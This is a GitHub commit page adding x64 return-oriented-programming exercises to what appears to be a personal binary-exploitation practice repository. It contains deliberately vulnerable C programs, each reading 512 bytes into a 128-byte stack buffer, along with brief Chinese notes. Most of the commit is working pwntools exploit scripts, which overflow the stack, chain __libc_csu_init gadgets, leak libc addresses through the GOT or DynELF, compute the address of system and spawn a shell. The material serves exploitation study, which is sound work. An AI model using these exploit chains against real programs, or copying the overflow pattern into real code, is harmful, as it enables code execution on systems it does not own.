Skip to content

Commit f39bea2

Browse files
committed
🎯 20170809-wooyundrops-rop/x64/lv1-lv3
1 parent bba05ea commit f39bea2

15 files changed

+363
-1
lines changed

.gitignore

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,4 @@ heap/*
22
*.pyc
33
peda-session-*.txt
44
.gdb_history
5-
*.swp
5+
*.sw[po]

20170809-wooyundrops-rop/README.md

+45
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
## 总结
66
很早之前看的两篇经典的rop文章。今天复习了一下x86中rop的利用方法,漏洞是简单的栈溢出,根据利用方式不同分四个level。
77

8+
## x86
89
### level1
910
```
1011
编译
@@ -107,3 +108,47 @@ payload += p32(system_addr) + p32(0xdeafbeaf) + p32(bss_addr)
107108
p.sendline(payload)
108109
p.sendline("/bin/sh\x00")
109110
```
111+
112+
## x64
113+
64位程序:可使用的地址空间<0x7fffffffffff,传参从rdi rsi rdx rcx r8 r9 到栈。程序都开启了ASLR和NX,没看canary。
114+
### level1
115+
修改返回值为system函数的地址即可。
116+
### level2
117+
程序给出了system的地址,构造rop。`payload = 'A'*136 + p64(poprdi_ret) + p64(binsh_addr) + p64(system_addr)`
118+
119+
### level3
120+
程序仅有一个栈溢出,存在read和write的got表。思路和之前一致,泄漏write函数的实际地址,计算system的地址,构造rop。重点在于rop的构造,利用__libc_csu_init函数中的gadgets。
121+
```
122+
400600: 4c 89 ea mov %r13,%rdx
123+
400603: 4c 89 f6 mov %r14,%rsi
124+
400606: 44 89 ff mov %r15d,%edi
125+
400609: 41 ff 14 dc callq *(%r12,%rbx,8)
126+
40060d: 48 83 c3 01 add $0x1,%rbx
127+
400611: 48 39 eb cmp %rbp,%rbx
128+
400614: 75 ea jne 400600 <__libc_csu_init+0x40>
129+
400616: 48 83 c4 08 add $0x8,%rsp
130+
40061a: 5b pop %rbx
131+
40061b: 5d pop %rbp
132+
40061c: 41 5c pop %r12
133+
40061e: 41 5d pop %r13
134+
400620: 41 5e pop %r14
135+
400622: 41 5f pop %r15
136+
400624: c3 retq
137+
138+
#write(1,write_got,0x8)
139+
140+
main = 0x400587
141+
poprbx = 0x40061a
142+
movrdx = 0x400600
143+
rbx = 0x0
144+
rbp = 0x1
145+
r12 = write_got # call *(write_got)
146+
r13 = 0x8 # third
147+
r14 = write_got # second
148+
r15 = 0x1 # first
149+
payload = 'B'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
150+
payload += p64(movrdx) + p64(0xdeadbeaf)*7 + p64(main)
151+
152+
```
153+
同样,通过DynELF来完成了无libc的函数泄漏,完成了exp_withoutlibc.py版的exp。
154+
注意,system函数调用execve来执行/bin/sh,而execve的参数有三个,和栈上的内容有关系,尽量把无关紧要的偏移用\x00来填充。此外,DynELF不是很稳定,多打几次就好了。
+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
from pwn import *
2+
callsystem_addr = 0x4005b6
3+
p = process('./level1')
4+
payload = 'A'*136 + p64(callsystem_addr)
5+
p.sendline(payload)
6+
p.interactive()
8.58 KB
Binary file not shown.
+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <unistd.h>
4+
5+
void callsystem()
6+
{
7+
system("/bin/sh");
8+
}
9+
10+
void vulnerable_function() {
11+
char buf[128];
12+
read(STDIN_FILENO, buf, 512);
13+
}
14+
15+
int main(int argc, char** argv) {
16+
write(STDOUT_FILENO, "Hello, World\n", 13);
17+
vulnerable_function();
18+
}
145 Bytes
Binary file not shown.
+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
from pwn import *
2+
libc = ELF('./libc.so.6')
3+
4+
5+
system_offset = libc.symbols['system']
6+
binsh_offset = next(libc.search('/bin/sh'))
7+
p = process('./level2')
8+
context.log_level = 'debug'
9+
gdb.attach(pidof(p)[0])
10+
system_addr = int(p.recvline(),16)
11+
log.info(hex(system_addr))
12+
13+
14+
binsh_addr = system_addr - (system_offset - binsh_offset)
15+
poprdi_ret = 0x00000000004008b3 # : pop rdi ; ret
16+
payload = 'A'*136 + p64(poprdi_ret) + p64(binsh_addr) + p64(system_addr)
17+
p.sendline(payload)
18+
p.interactive()
8.77 KB
Binary file not shown.
+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <unistd.h>
4+
#include <dlfcn.h>
5+
6+
void systemaddr()
7+
{
8+
void* handle = dlopen("libc.so.6", RTLD_LAZY);
9+
printf("%p\n",dlsym(handle,"system"));
10+
fflush(stdout);
11+
}
12+
13+
void vulnerable_function() {
14+
char buf[128];
15+
read(STDIN_FILENO, buf, 512);
16+
}
17+
18+
int main(int argc, char** argv) {
19+
systemaddr();
20+
write(1, "Hello, World\n", 13);
21+
vulnerable_function();
22+
}
1.78 MB
Binary file not shown.
+123
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
temp = ''' 1
2+
400600: 4c 89 ea mov %r13,%rdx
3+
400603: 4c 89 f6 mov %r14,%rsi
4+
400606: 44 89 ff mov %r15d,%edi
5+
400609: 41 ff 14 dc callq *(%r12,%rbx,8)
6+
40060d: 48 83 c3 01 add $0x1,%rbx
7+
400611: 48 39 eb cmp %rbp,%rbx
8+
400614: 75 ea jne 400600 <__libc_csu_init+0x40>
9+
400616: 48 83 c4 08 add $0x8,%rsp
10+
40061a: 5b pop %rbx
11+
40061b: 5d pop %rbp
12+
40061c: 41 5c pop %r12
13+
40061e: 41 5d pop %r13
14+
400620: 41 5e pop %r14
15+
400622: 41 5f pop %r15
16+
400624: c3 retq
17+
18+
write(1,write_got,0x8)
19+
20+
main = 0x400587
21+
poprbx = 0x40061a
22+
movrdx = 0x400600
23+
rbx = 0x0
24+
rbp = 0x1
25+
r12 = write_got # call *(write_got)
26+
r13 = 0x8 # third
27+
r14 = write_got # second
28+
r15 = 0x1 # first
29+
payload = 'B'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
30+
payload += p64(movrdx) + p64(0xdeadbeaf)*7 + p64(main)
31+
32+
read(0,bss_addr,0x8)
33+
'''
34+
35+
36+
from pwn import *
37+
38+
39+
write_plt = 0x0000000000400430
40+
write_got = 0x0000000000601018
41+
read_plt = 0x0000000000400440
42+
read_got = 0x0000000000601020
43+
main = 0x400587
44+
45+
46+
p = process('./level3')
47+
# gdb.attach(pidof(p)[0])
48+
context.log_level = 'debug'
49+
50+
poprbx = 0x40061a
51+
movrdx = 0x400600
52+
rbx = 0x0
53+
rbp = 0x1
54+
r12 = write_got # call *(write_got)
55+
r13 = 0x8 # third
56+
r14 = write_got # second
57+
r15 = 0x1 # first
58+
payload = 'B'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
59+
payload += p64(movrdx) + p64(0xdeadbeaf)*7 + p64(main)
60+
61+
p.recvuntil('World\n')
62+
p.sendline(payload)
63+
write_addr = u64(p.recv(8))
64+
log.info("write addr:" +hex(write_addr))
65+
66+
67+
libc = ELF('./libc.so.6')
68+
system_offset = libc.symbols['system']
69+
write_offset = libc.symbols['write']
70+
system_addr = write_addr - (write_offset - system_offset)
71+
72+
bss_addr = 0x0000000000601040
73+
# read(0,bss_addr,0x10)
74+
poprbx = 0x40061a
75+
movrdx = 0x400600
76+
rbx = 0x0
77+
rbp = 0x1
78+
r12 = read_got # call *(write_got)
79+
r13 = 0x10 # third
80+
r14 = bss_addr # second
81+
r15 = 0x0 # first
82+
payload = 'B'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
83+
payload += p64(movrdx) + p64(0xdeadbeaf)*7 + p64(main)
84+
85+
p.recvuntil('World\n')
86+
p.sendline(payload)
87+
sleep(1)
88+
raw_input()
89+
p.send('/bin/sh\x00' + p64(system_addr))
90+
91+
# system(bss_addr)
92+
poprbx = 0x40061a
93+
movrdx = 0x400600
94+
rbx = 0x0
95+
rbp = 0x1
96+
r12 = bss_addr + 0x8 # call *(system_addr)
97+
r13 = 0x0 # third
98+
r14 = 0x0 # second
99+
r15 = bss_addr # first /bin/sh\x00
100+
payload = 'B'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
101+
payload += p64(movrdx) + p64(0x0)*7 + p64(main)
102+
103+
p.recvuntil('World\n')
104+
p.sendline(payload)
105+
p.interactive()
106+
107+
108+
109+
110+
111+
112+
113+
114+
115+
116+
117+
118+
119+
120+
121+
p.recv()
122+
123+
p.recv()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
temp = ''' 1
2+
400600: 4c 89 ea mov %r13,%rdx
3+
400603: 4c 89 f6 mov %r14,%rsi
4+
400606: 44 89 ff mov %r15d,%edi
5+
400609: 41 ff 14 dc callq *(%r12,%rbx,8)
6+
40060d: 48 83 c3 01 add $0x1,%rbx
7+
400611: 48 39 eb cmp %rbp,%rbx
8+
400614: 75 ea jne 400600 <__libc_csu_init+0x40>
9+
400616: 48 83 c4 08 add $0x8,%rsp
10+
40061a: 5b pop %rbx
11+
40061b: 5d pop %rbp
12+
40061c: 41 5c pop %r12
13+
40061e: 41 5d pop %r13
14+
400620: 41 5e pop %r14
15+
400622: 41 5f pop %r15
16+
400624: c3 retq
17+
18+
write(1,write_got,0x8)
19+
20+
main = 0x400587
21+
poprbx = 0x40061a
22+
movrdx = 0x400600
23+
rbx = 0x0
24+
rbp = 0x1
25+
r12 = write_got # call *(write_got)
26+
r13 = 0x8 # third
27+
r14 = write_got # second
28+
r15 = 0x1 # first
29+
payload = 'B'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
30+
payload += p64(movrdx) + p64(0xdeadbeaf)*7 + p64(main)
31+
32+
read(0,bss_addr,0x8)
33+
'''
34+
35+
36+
from pwn import *
37+
38+
39+
write_plt = 0x0000000000400430
40+
write_got = 0x0000000000601018
41+
read_plt = 0x0000000000400440
42+
read_got = 0x0000000000601020
43+
main = 0x400587
44+
45+
46+
p = process('./level3')
47+
# gdb.attach(pidof(p)[0])
48+
context.log_level = 'debug'
49+
50+
def leak(address):
51+
52+
poprbx = 0x40061a
53+
movrdx = 0x400600
54+
rbx = 0x0
55+
rbp = 0x1
56+
r12 = write_got # call *(write_got)
57+
r13 = 0x8 # third
58+
r14 = address #write_got # second
59+
r15 = 0x1 # first
60+
payload = '\x00'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
61+
payload += p64(movrdx) + p64(0xdeadbeaf)*7 + p64(main)
62+
63+
p.recvuntil('World\n')
64+
p.sendline(payload)
65+
#write_addr = u64(p.recv(8))
66+
#log.info("write addr:" +hex(write_addr))
67+
data = p.recv(8)
68+
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
69+
return data
70+
d = DynELF(leak,elf=ELF('./level3'))
71+
write_addr = d.lookup('write','libc')
72+
log.info('write_addr'+hex(write_addr))
73+
system_addr = d.lookup('system','libc')
74+
log.info('system_addr'+hex(system_addr))
75+
76+
77+
#libc = ELF('./libc.so.6')
78+
#system_offset = libc.symbols['system']
79+
#write_offset = libc.symbols['write']
80+
#system_addr = write_addr - (write_offset - system_offset)
81+
82+
bss_addr = 0x0000000000601040
83+
# read(0,bss_addr,0x10)
84+
poprbx = 0x40061a
85+
movrdx = 0x400600
86+
rbx = 0x0
87+
rbp = 0x1
88+
r12 = read_got # call *(write_got)
89+
r13 = 0x10 # third
90+
r14 = bss_addr # second
91+
r15 = 0x0 # first
92+
payload = '\x00'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
93+
payload += p64(movrdx) + p64(0xdeadbeaf)*7 + p64(main)
94+
95+
p.recvuntil('World\n')
96+
p.sendline(payload)
97+
sleep(1)
98+
#raw_input()
99+
p.send('/bin/sh\x00' + p64(system_addr))
100+
# gdb.attach(pidof(p)[0])
101+
# system(bss_addr)
102+
poprbx = 0x40061a
103+
movrdx = 0x400600
104+
rbx = 0x0
105+
rbp = 0x1
106+
r12 = bss_addr + 0x8 # call *(system_addr)
107+
r13 = 0x0 # third
108+
r14 = 0x0 # second
109+
r15 = bss_addr # first /bin/sh\x00
110+
payload = '\x00'*136 + p64(poprbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) +p64(r14) + p64(r15)
111+
payload += p64(movrdx) + p64(0x0)*7 + p64(main)
112+
113+
p.recvuntil('World\n')
114+
p.sendline(payload)
115+
p.interactive()
116+
117+
8.49 KB
Binary file not shown.
+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <unistd.h>
4+
5+
void vulnerable_function() {
6+
char buf[128];
7+
read(STDIN_FILENO, buf, 512);
8+
}
9+
10+
int main(int argc, char** argv) {
11+
write(STDOUT_FILENO, "Hello, World\n", 13);
12+
vulnerable_function();
13+
}
1.78 MB
Binary file not shown.

0 commit comments

Comments
 (0)